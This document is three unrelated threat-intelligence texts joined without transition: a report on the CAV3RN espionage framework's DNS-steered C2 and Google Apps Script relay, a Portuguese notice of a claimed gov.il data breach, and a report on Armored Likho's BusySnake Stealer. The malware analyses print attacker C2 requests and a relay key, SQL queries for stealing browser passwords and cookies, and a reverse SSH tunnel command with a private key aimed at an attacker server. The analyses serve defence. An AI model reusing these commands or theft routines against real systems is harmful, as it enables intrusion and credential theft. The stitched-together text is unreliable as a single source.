Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

O IDCiber Threat Intelligence Center, por meio do monitoramento contínuo de fontes abertas, fóruns clandestinos e canais especializados, identificou a divulgação de uma alegada base de dados associada ao domínio governamental www.gov.il, anunciada por um ator de ameaça em 22/06/2025. Segundo a publicação analisada, o grupo afirma ter explorado uma vulnerabilidade de API e obtido acesso não autorizado a informações de aproximadamente 268.938 registros de cidadãos, contendo dados pessoais diversos. As evidências observadas incluem amostras de registros supostamente extraídos da base comprometida e disponibilizados em plataforma pública de compartilhamento de conteúdo. Em conformidade com as melhores práticas de proteção à privacidade, os dados pessoais identificáveis (PII) presentes nas amostras foram anonimizados nesta análise, não sendo reproduzidos nomes, documentos, telefones, endereços, e-mails, identificadores ou quaisquer informações que permitam a identificação direta de indivíduos.

A análise preliminar indica que o conjunto de informações alegadamente exposto contém categorias de dados de elevada sensibilidade, incluindo dados cadastrais, informações demográficas, informações de contato, dados de localização e outros atributos pessoais. Caso a autenticidade e atualidade da base sejam confirmadas pelas autoridades competentes, o incidente poderá representar riscos significativos de fraude, engenharia social, campanhas de phishing direcionado, roubo de identidade, comprometimento de contas e outras atividades criminosas. O anúncio também demonstra intenção de monetização dos dados por parte do ator de ameaça, que disponibilizou canal de contato para potenciais interessados na aquisição do conteúdo.

Até o momento da análise, as evidências observadas permitem confirmar a existência de uma publicação reivindicando a violação e exibindo amostras de registros, porém a validação integral da autenticidade, integridade, abrangência e origem dos dados requer investigação técnica complementar pelas entidades responsáveis. Considerando o potencial impacto sobre cidadãos e organizações governamentais, recomenda-se a realização de procedimentos de resposta a incidentes, validação dos dados expostos, revisão dos controles de acesso, análise de vulnerabilidades em APIs, monitoramento reforçado de credenciais e comunicação adequada às partes potencialmente afetadas.

• Classificação do incidente: Vazamento de Dados (Data Breach)
• Organização alvo: Domínio governamental (www.gov.il)
• Data da divulgação identificada: 22/06/2025
• Volume alegado de impacto: 268.938 registros
• Tipo de informação exposta: Dados pessoais e cadastrais (PII) – informações anonimizadas neste relatório
• Severidade estimada: Alta
• Status: Publicação identificada e em monitoramento

Fonte: IDCiber Threat Intelligence Center.

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

Payload repository example

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

Loader removal script

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

Persistence script

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

Obfuscated PowerShell command

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Downloading and executing the loader

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Variable initialization example in loader code

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

Example of downloading and installing Python and the pip package manager

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

Stealer configuration example

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

C2 administration panel sign-in form

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

Locating the file containing the master key

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Master key decryption

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

Credential extraction

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

Credential decryption

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

Extension configuration file (manifest.json)

Extension execution logic (sw.js)

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Chrome execution parameters

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

Creating a scheduled task via the COM object

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

LNK downloader execution graph in Kaspersky Cloud Sandbox

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

File downloads by the LNK downloader in Kaspersky Cloud Sandbox

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

EXE dropper execution graph in Kaspersky Cloud Sandbox

File downloads by the EXE dropper in Kaspersky Cloud Sandbox

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

